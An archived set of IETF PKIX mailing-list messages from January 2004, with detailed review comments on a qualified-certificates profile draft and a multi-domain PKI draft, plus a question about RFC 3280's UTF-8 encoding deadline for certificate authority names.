>31. The text states in section 3.2.3  Key Usage:
>
>    "The key usage extension MAY be marked critical."
>
>However, RFC 3280 states:
>
>    "When this extension appears, it SHOULD be marked critical."
>
>The "MAY" should be changed into "SHOULD".
>
>This leads to:
>
>    "The key usage extension SHOULD be marked critical."
>
>
>32. The text states in section 3.2.5  Qualified Certificate Statements:
>
>    "A statement suitable for inclusion in this extension MAY be a
>    statement by the issuer that the certificate is issued as a Qualified
>    Certificate in accordance with a particular legal system (as
>    discussed in Section 2.2)."
>
>Providing examples before the actual definition of what is this extension 
>is not appropriate. It should also be avoided to speak about "legal 
>systems". Please delete.
>
>
>33. The text states in section 3.2.5  Qualified Certificate Statements:
>
>    "Other statements suitable for inclusion in this extension MAY be
>    statements related to the applicable legal jurisdiction within which
>    the certificate is issued.  As an example this MAY include a maximum
>    reliance limit for the certificate indicating restrictions on CA's
>    liability."
>
>Providing examples before the actual definition of what is this extension 
>is not appropriate. It should also be avoided to speak about "legal 
>jurisdiction". Please delete.
>
>
>34. The text states in section 3.2.5  Qualified Certificate Statements:
>
>    "This extension may be critical or non-critical.  If the extension is
>    critical, this means that all statements included in the extension
>    are regarded as critical."
>
>A note should be added after the ASN.1 description :
>
>"NOTE: This extension does not allow to mix critical and non-critical 
>Qualified Certificate Statements. Either all statements must be critical 
>or all statements must be non-critical."
>
>
>35. The text states in section 3.2.5.1 Predefined Statements:
>
>    "RFC 3039 defined one qualified certificate statement (id-qcs-
>    pkixQCSyntax-v1), identifying conformance with syntax and semantics
>    defined in RFC 3039."
>
>What means conformance with syntax and semantics ? Conformance clauses 
>means that the SHALL statements have to be observed by the CA. From which 
>sections should the SHALL statements be observed ? The document provides a 
>profile for two fields: issuer and subject, for one mandatory certificate 
>extensions: key usage and for two optional certificate extensions: subject 
>alternate name and subject directory attributes.
>
>It means conformance with sections 3.1.1. Issuer, 3.1.2 subject, 3.2.3
>key usage; if subject directory attributes is present, with section
>3.2.1.; and if subject alternate name attribute is present, with
>section 3.2.X.
>
>There is however a major problem: if RFC3039 is withdrawn, then there 
>would be no text to say what it means. So RFC 3039 cannot be withdrawn 
>without knowing first if someone as ever implemented id-qcs-pkixQCSyntax-v1.
>
>
>36. The text states in section 3.2.5.1 Predefined Statements:
>
>    "This profile includes a new qualified certificate statement
>    (identified by the OID id-qcs-pkixQCSyntax-v2), identifying
>    conformance with syntax and semantics defined in this profile."
>
>The sentence should be corrected in the following way:
>
>    "This profile includes a qualified certificate statement
>    (identified by the OID id-qcs-pkixQCSyntax-v2), identifying
>    conformance with sections 3.1.1. Issuer, 3.1.2 subject, 3.2.3 key
>    usage ; if subject directory attributes is present, with section
>    3.2.1.; and if subject alternate name attribute is present, with
>    section 3.2.X.
>
>
>37. The text states in section 3.2.5.1 Predefined Statements:
>
>    "This Qualified Certificate profile is referred to as version 2
>    while RFC 3039 is referred to as version 1."
>
>This sentence cannot stay and will need to be fixed. See comment 35.
>
>
>38. The European Directive on Electronic Signatures should be referenced 
>in the informative references section (section 5.2).
>
>END OF COMMENTS
>
>Denis
>
>
>>A New Internet-Draft is available from the on-line Internet-Drafts 
>>directories.
>>This draft is a work item of the Public-Key Infrastructure (X.509) 
>>Working Group of the IETF.
>>         Title           : Internet X.509 Public Key Infrastructure: 
>> Qualified Certificates Profile
>>         Author(s)       : S. Santesson, M. Nystrom
>>         Filename        : draft-ietf-pkix-sonof3039-03.txt
>>         Pages           : 35
>>         Date            : 2004-1-20
>>
>>This document forms a certificate profile, based on RFC 3280, for
>>    identity certificates issued to natural persons.
>>    The profile defines specific conventions for certificates that are
>>    qualified within a defined legal framework, named Qualified
>>    Certificates. The profile does however not define any legal
>>    requirements for such Qualified Certificates.
>>    The goal of this document is to define a certificate profile that
>>    supports issuance of Qualified Certificates independent of local
>>    legal requirements.  The profile is however not limited to Qualified
>>    Certificates and further profiling may facilitate specific local
>>    needs.
>>A URL for this Internet-Draft is:
>>http://www.ietf.org/internet-drafts/draft-ietf-pkix-sonof3039-03.txt
>>To remove yourself from the IETF Announcement list, send a message to 
>>ietf-announce-request with the word unsubscribe in the body of the message.
>>Internet-Drafts are also available by anonymous FTP. Login with the username
>>"anonymous" and a password of your e-mail address. After logging in,
>>type "cd internet-drafts" and then
>>         "get draft-ietf-pkix-sonof3039-03.txt".
>>A list of Internet-Drafts directories can be found in
>>http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt
>>
>>Internet-Drafts can also be obtained by e-mail.
>>Send a message to:
>>         [e-mail].
>>In the body type:
>>         "FILE /internet-drafts/draft-ietf-pkix-sonof3039-03.txt".
>>
>>NOTE:   The mail server at ietf.org can return the document in
>>         MIME-encoded form by using the "mpack" utility.  To use this
>>         feature, insert the command "ENCODING mime" before the "FILE"
>>         command.  To decode the response(s), you will need "munpack" or
>>         a MIME-compliant mail reader.  Different MIME-compliant mail readers
>>         exhibit different behavior, especially when dealing with
>>         "multipart" MIME messages (i.e. documents which have been split
>>         up into multiple messages), so check your local documentation on
>>         how to manipulate these messages.
>>
>>
>>Below is the data which will enable a MIME compliant mail reader
>>implementation to automatically retrieve the ASCII version of the
>>Internet-Draft.
>
>
>



Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0QHNEYe050340; Mon, 26 Jan 2004 09:23:14 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i0QHNEex050339; Mon, 26 Jan 2004 09:23:14 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from mail-dub.microsoft.com (mail-dub.microsoft.com [213.199.128.160]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0QHNAvd050307 for <[e-mail]>; Mon, 26 Jan 2004 09:23:10 -0800 (PST) (envelope-from [e-mail])
Received: from dub-imc-01.europe.corp.microsoft.com ([65.53.196.35]) by mail-dub.microsoft.com with Microsoft SMTPSVC(5.0.2195.6713); Mon, 26 Jan 2004 17:23:01 +0000
Received: from 65.53.196.35 by dub-imc-01.europe.corp.microsoft.com (InterScan E-Mail VirusWall NT); Mon, 26 Jan 2004 17:23:01 -0000
Received: from EUR-MSG-03.europe.corp.microsoft.com ([65.53.192.44]) by dub-imc-01.europe.corp.microsoft.com with Microsoft SMTPSVC(5.0.2195.6713); Mon, 26 Jan 2004 17:23:00 +0000
X-MimeOLE: Produced By Microsoft Exchange V6.5.7122.0
Content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="------------InterScan_NT_MIME_Boundary"
Subject: UTF-8 encoding after December 31 2003
Date: Mon, 26 Jan 2004 17:22:33 -0000
Message-ID: <[e-mail]>
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
Thread-Topic: UTF-8 encoding after December 31 2003
Thread-Index: AcPkMPwvrZQsO2diT4+G4hV9EogPPQ==
From: "Stefan Santesson" <[e-mail]>
To: <[e-mail]>
X-OriginalArrivalTime: 26 Jan 2004 17:23:00.0923 (UTC) FILETIME=[0C68C8B0:01C3E431]
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

This is a multi-part message in MIME format.

--------------InterScan_NT_MIME_Boundary
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C3E431.0D3286EB"

------_=_NextPart_001_01C3E431.0D3286EB
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable

All,

=20

I have a problem with the UTF-8 requirements in RFC 3280 after December
31, and would appreciate guidance on interpretation of RFC 3280 as well
as other implementers view on this.

=20

The situation:

=20

Conforming CA:s must encode attributes of DirectotyString types as UTF-8
after=20

December 31, 2003.

=20

Exceptions are stated in RFC 3280 (section 4.1.2.4):

=20

   Exceptions to the December 31, 2003 UTF8 encoding requirements are as

   follows:

=20

      (a)  CAs MAY issue "name rollover" certificates to support an

      orderly migration to UTF8String encoding.  Such certificates would

      include the CA's UTF8String encoded name as issuer and and the old

      name encoding as subject, or vice-versa.

=20

      (b)  As stated in section 4.1.2.6, the subject field MUST be

      populated with a non-empty distinguished name matching the

      contents of the issuer field in all certificates issued by the

      subject CA regardless of encoding.

=20

=20

My interpretation of this is:

=20

a) only applies for self issued certificates with the same CA name as
issuer and subject (but in different encodings). Introducing such name
roll-over certificates extend the certificate chain and may be
problematic since it may break both naming and path length constraints
expressed by chaining CAs.

=20

b) seams to be a catch 22. You can populate the subject field with old
encoding to match old encoded issuer names in descending certificates,
but since no descending CA can populate the issuer field with old
encoding it doesn't really apply.

=20

=20

The issue:

There seems to be a problem with practical reality here in case the
interpretation above is correct.

=20

Question 1)

What if I have a Root CA valid to 2020 with subject and issuer name in
old encoding?

=20

Can that Root CA issue an intermediary CA certificate with the issuer
field in old encoding, matching the subject field of the current root CA
Certificate?

=20

Question 2)

What if I have a CA with a current operating CA certificate that expires
2006. Can this CA issue certificates after December 31, with the issuer
name in old encoding, matching the encoding of the current CA
certificate until it expires, or must this CA change its name and have
its CA certificate renewed before December 31?

=20

If RFC 3280 prevents operating CAs to issue certificates with the issuer
field matching the CA:s current certificate, until it expires, then we
face a huge legacy problem. Especially since name matching for different
encoding types are not required.

=20

4.1.2.4 states

"(a)  attribute values encoded in different types (e.g.,

      PrintableString and BMPString) MAY be assumed to represent

      different strings;"

=20

=20

If my concerns are wrong and the issuing such certificates is allowed,
then this needs to be clarified.

=20

=20

=20

Stefan Santesson

Program Manager, Windows Security

=20


------_=_NextPart_001_01C3E431.0D3286EB
Content-Type: text/html;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable

<html xmlns:o=3D"urn:schemas-microsoft-com:office:office" =
xmlns:w=3D"urn:schemas-microsoft-com:office:word" =
xmlns=3D"http://www.w3.org/TR/REC-html40">

<head>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Dus-ascii">
<meta name=3DGenerator content=3D"Microsoft Word 11 (filtered medium)">
<style>
<!--
 /* Style Definitions */
 p.MsoNormal, li.MsoNormal, div.MsoNormal
	{margin:0cm;
	margin-bottom:.0001pt;
	font-size:12.0pt;
	font-family:"Times New Roman";}
a:link, span.MsoHyperlink
	{color:blue;
	text-decoration:underline;}
a:visited, span.MsoHyperlinkFollowed
	{color:purple;
	text-decoration:underline;}
p.MsoPlainText, li.MsoPlainText, div.MsoPlainText
	{margin:0cm;
	margin-bottom:.0001pt;
	font-size:10.0pt;
	font-family:"Courier New";}
span.EmailStyle17
	{mso-style-type:personal-compose;
	font-family:Arial;
	color:windowtext;}
@page Section1
	{size:612.0pt 792.0pt;
	margin:70.85pt 70.85pt 70.85pt 70.85pt;}
div.Section1
	{page:Section1;}
-->
</style>

</head>

<body lang=3DEN-US link=3Dblue vlink=3Dpurple>

<div class=3DSection1>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>All,<o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>I have a problem with the UTF-8 requirements in RFC 3280 after =
December
31, and would appreciate guidance on interpretation of RFC 3280 as well =
as
other implementers view on this.<o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>The situation:<o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>Conforming CA:s must encode attributes of DirectotyString types =
as
UTF-8 after <o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>December 31, 2003.<o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>Exceptions are stated in RFC 3280 (section =
4.1.2.4):<o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>&nbsp;&nbsp; Exceptions to the December 31, 2003 UTF8 encoding
requirements are as<o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>&nbsp;&nbsp; follows:<o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (a)&nbsp; CAs MAY issue =
&quot;name
rollover&quot; certificates to support an<o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; orderly migration to UTF8String
encoding.&nbsp; Such certificates would<o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; include the CA's UTF8String =
encoded name
as issuer and and the old<o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;name encoding as subject, or =
vice-versa.<o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (b)&nbsp; As stated in section =
4.1.2.6,
the subject field MUST be<o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; populated with a non-empty =
distinguished
name matching the<o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; contents of the issuer field in =
all
certificates issued by the<o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;subject CA regardless of =
encoding.<o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>My interpretation of this is:<o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>a) only applies for self issued certificates with the same CA =
name as
issuer and subject (but in different encodings). Introducing such name
roll-over certificates extend the certificate chain and may be =
problematic
since it may break both naming and path length constraints expressed by
chaining CAs.<o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>b) seams to be a catch 22. You can populate the subject field =
with old
encoding to match old encoded issuer names in descending certificates, =
but
since no descending CA can populate the issuer field with old encoding =
it
doesn&#8217;t really apply.<o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>The issue:<o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>There seems to be a problem with practical reality here in case =
the
interpretation above is correct.<o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>Question 1)<o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>What if I have a Root CA valid to 2020 with subject and issuer =
name in
old encoding?<o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>Can that Root CA issue an intermediary CA certificate with the =
issuer
field in old encoding, matching the subject field of the current root CA
Certificate?<o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>Question 2)<o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>What if I have a CA with a current operating CA certificate that
expires 2006. Can this CA issue certificates after December 31, with the =
issuer
name in old encoding, matching the encoding of the current CA =
certificate until
it expires, or must this CA change its name and have its CA certificate =
renewed
before December 31?<o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>If RFC 3280 prevents operating CAs to issue certificates with =
the
issuer field matching the CA:s current certificate, until it expires, =
then we
face a huge legacy problem. Especially since name matching for different
encoding types are not required.<o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>4.1.2.4 states<o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>&#8220;(a)&nbsp; attribute values encoded in different types =
(e.g.,<o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; PrintableString and BMPString) =
MAY be
assumed to represent<o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; different =
strings;&#8221;<o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>If my concerns are wrong and the issuing such certificates is =
allowed,
then this needs to be clarified.<o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><strong><b><font size=3D2 color=3Dolive =
face=3DArial><span
style=3D'font-size:10.0pt;font-family:Arial;color:olive'>Stefan =
Santesson</span></font></b></strong><o:p></o:p></p>

<p class=3DMsoNormal><font size=3D2 color=3Dolive face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:olive'>Program Manager, Windows =
Security</span></font><o:p></o:p></p>

<p class=3DMsoNormal><font size=3D3 face=3D"Times New Roman"><span =
style=3D'font-size:
12.0pt'><o:p>&nbsp;</o:p></span></font></p>

</div>

</body>

</html>

------_=_NextPart_001_01C3E431.0D3286EB--

--------------InterScan_NT_MIME_Boundary--



Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0Q9P6wJ007972; Mon, 26 Jan 2004 01:25:06 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i0Q9P6cd007971; Mon, 26 Jan 2004 01:25:06 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from odin2.bull.net (odin2.bull.net [192.90.70.84]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0Q9P3Gv007913 for <[e-mail]>; Mon, 26 Jan 2004 01:25:03 -0800 (PST) (envelope-from [e-mail])
Received: from clbull.frcl.bull.fr (IDENT:[e-mail] [129.182.8.31]) by odin2.bull.net (8.9.3/8.9.3) with ESMTP id KAA102366; Mon, 26 Jan 2004 10:31:21 +0100
Received: from bull.net (frcls4013.frcl.bull.fr [129.182.108.120]) by clbull.frcl.bull.fr (8.9.3/8.9.3) with ESMTP id LAA22380; Mon, 26 Jan 2004 11:18:59 +0100
Message-ID: <[e-mail]>
Date: Mon, 26 Jan 2004 10:23:42 +0100
From: Denis Pinkas <[e-mail]>
Organization: Bull SA.
User-Agent: Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.0.1) Gecko/20020823 Netscape/7.0
X-Accept-Language: en-us, en, fr
MIME-Version: 1.0
To: Masaki SHIMAOKA <[e-mail]>
CC: IETF-PKIX <[e-mail]>, [e-mail]
Subject: Re: Revised I-D: Memorandum for multi-domain PKI Interoperability
References: <[e-mail]> <[e-mail]>
Content-Type: text/plain; charset=windows-1252; format=flowed
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by above.proper.com id i0Q9P5Gv007958
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

> All,
> 
> As I presented in 57th IETF meeting, I propose to make a consensus for
> multi-domain PKI interoperability. To consider such consensus, I was
> writing this I-D, and I finished it.
> Please review the I-D and let me know your opinion.
> 
> You can obtain the I-D from:
> http://www.ietf.org/internet-drafts/draft-shimaoka-multidomain-pki-02.txt
> 
> Original presentation:
> http://www.ietf.org/proceedings/03jul/slides/pkix-9/index.html
> 
> Working Page:
> http://www.jnsa.org/mpki/#id
> 
> At 56th IETF, I discussed with Tim how to standardize this I-D. As
> result, PKIX WG seemed difficult to holding the ID as new WG draft. So I
> am proposing this as personal draft.

Comments on draft-shimaoka-multidomain-pki-02.txt

The document does not reflect what can be called “best current practice”.

RFC 2026 states:

    The BCP subseries of the RFC series is designed to be a way to
    standardize practices and the results of community deliberations.
    A BCP document is subject to the same basic set of procedures as
    standards track documents and thus is a vehicle by which the IETF
    community can define and ratify the community's best current thinking
    on a statement of principle or on what is believed to be the best way
    to perform some operations or IETF process function.

The topic of the document is rather close to the following draft:  Internet 
X.509 Public Key Infrastructure: Certification Path Building available at:
http://www.ietf.org/internet-drafts/draft-ietf-pkix-certpathbuild-03.txt

It seems rather difficult to have two documents on nearly the same topic.
It also seems difficult to issue this document as an Informational RFC.

RFC 2026 states:

    To ensure that the non-standards track Experimental and Informational
    designations are not misused to circumvent the Internet Standards
    Process, the IESG and the RFC Editor have agreed that the RFC Editor
    will refer to the IESG any document submitted for Experimental or
    Informational publication which, in the opinion of the RFC Editor,
    may be related to work being done, or expected to be done, within the
    IETF community.

The document contains vocabulary which is not currently used with the PKIX 
WG and which could create confusion if adopted.

The notion of “PKI domain” is misleading. The PKIX WG has been using the 
concept of “validation policy” to describe the rules applicable to trust a 
given certificate. However, this terminology is not used in this document.

The definition of “subscriber” is misleading and should not be confused with 
“subject”.

It is also misleading to say “In a single-domain PKI (whatever this notion 
may mean), these [i.e. trust anchors] may be omitted tacitly”. There always 
exists at least one trust anchor, otherwise it is impossible to verify a 
certificate.

The wordings “unified domain model” and “unificate CA” are introduced but 
are not explained.

The definition of PKI domain which seems to map to the concept of validation 
policy is wrong: the MUST and SHOULD included in the definition are wrong. 
The notion of domain policy is inadequate as well.

The notion of Mesh PKI is introduced in the definition section, but is not 
explained.

The notion of “principal CA” is not needed.

The notion of “PKI domain” of the subscriber is unclear. Does it means that 
the CA that has issued the end-entity certificate musty issue a self-signed 
certificate ?

What is the difference between a trust anchor and a trust point ?

The notions of “Public PKI” and “Private PKI” are not appropriate. What can 
be a trust point registered without clear agreement ???

Trust relationship can’t be restricted to Trust relationships between CAs. 
There are first between CAs and relying parties.

There is no reason why CAs in a trust list SHOULD NOT cross-certify each other.

The most important case for trust list has been omitted: it is when the 
trust list is establish by an authority which trusts some CAs. Then relying 
parties trusting that authority can use the trust lists established by that 
authority for some specific purpose.

In section 3.2 about Cross-Certification there should not be the following 
requirements :

" CA that issues a cross-certificate MUST have a self-signed certificate".
" CA issued the cross-certificate also MUST have a self-signed certificate"

For the above reasons, I do not believe that this document should be 
progressed any further.

Denis

> shima
> 
> 
> -----
> Masaki SHIMAOKA
> 
> SECOM Trust.net
> System Engineering Dpt.
> Tel: [phone] (ext.3605)
> Fax: [phone]
> e-mail: [e-mail]
> 
> 





Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0Q95ICf000604; Mon, 26 Jan 2004 01:05:18 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i0Q95IJe000603; Mon, 26 Jan 2004 01:05:18 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from odin2.bull.net (odin2.bull.net [192.90.70.84]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0Q95Efs000549 for <[e-mail]>; Mon, 26 Jan 2004 01:05:15 -0800 (PST) (envelope-from [e-mail])
Received: from clbull.frcl.bull.fr (IDENT:[e-mail] [129.182.8.31]) by odin2.bull.net (8.9.3/8.9.3) with ESMTP id KAA57638; Mon, 26 Jan 2004 10:12:43 +0100
Received: from bull.net (frcls4013.frcl.bull.fr [129.182.108.120]) by clbull.frcl.bull.fr (8.9.3/8.9.3) with ESMTP id LAA22258; Mon, 26 Jan 2004 11:00:22 +0100
Message-ID: <[e-mail]>
Date: Mon, 26 Jan 2004 10:05:05 +0100
From: Denis Pinkas <[e-mail]>
Organization: Bull SA.
User-Agent: Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.0.1) Gecko/20020823 Netscape/7.0
X-Accept-Language: en-us, en, fr
MIME-Version: 1.0
To: Stefan Santesson <[e-mail]>, Tim Polk <[e-mail]>, Magnus Nystrom <[e-mail]>
CC: [e-mail]
Subject: Re: I-D ACTION:draft-ietf-pkix-sonof3039-03.txt
References: <[e-mail]>
Content-Type: text/plain; charset=windows-1252; format=flowed
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by above.proper.com id i0Q95Hfs000593
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

Stefan, Magnus and Tim,

Please find 38 comments on <draft-ietf-pkix-sonof3039-03.txt>

1. The text states:

    "The profile defines specific conventions for certificates that are
    qualified within a defined legal framework, named Qualified
    Certificates."

It is unclear what the topic of this document is about. This sentence does 
not explain. To illustrate the concern if we had the following sentence, it 
would be the same problem :

   "The profile defines specific conventions for certificates that are
    certified within a defined legal framework, named Certified
    Certificates."

What means qualified ? What would mean certified ?

Since the definition of a legal framework is outside the scope, it could be 
any kind of certificate as long as it is issued for a natural person, which 
is the only restriction advertised. Then why is it under a "legal framework" 
? It would be appropriate under any kind of certificate policy. The text 
should not place any emphasis on a "legal framework".

This document simply defines a profile of a certificate for natural persons.

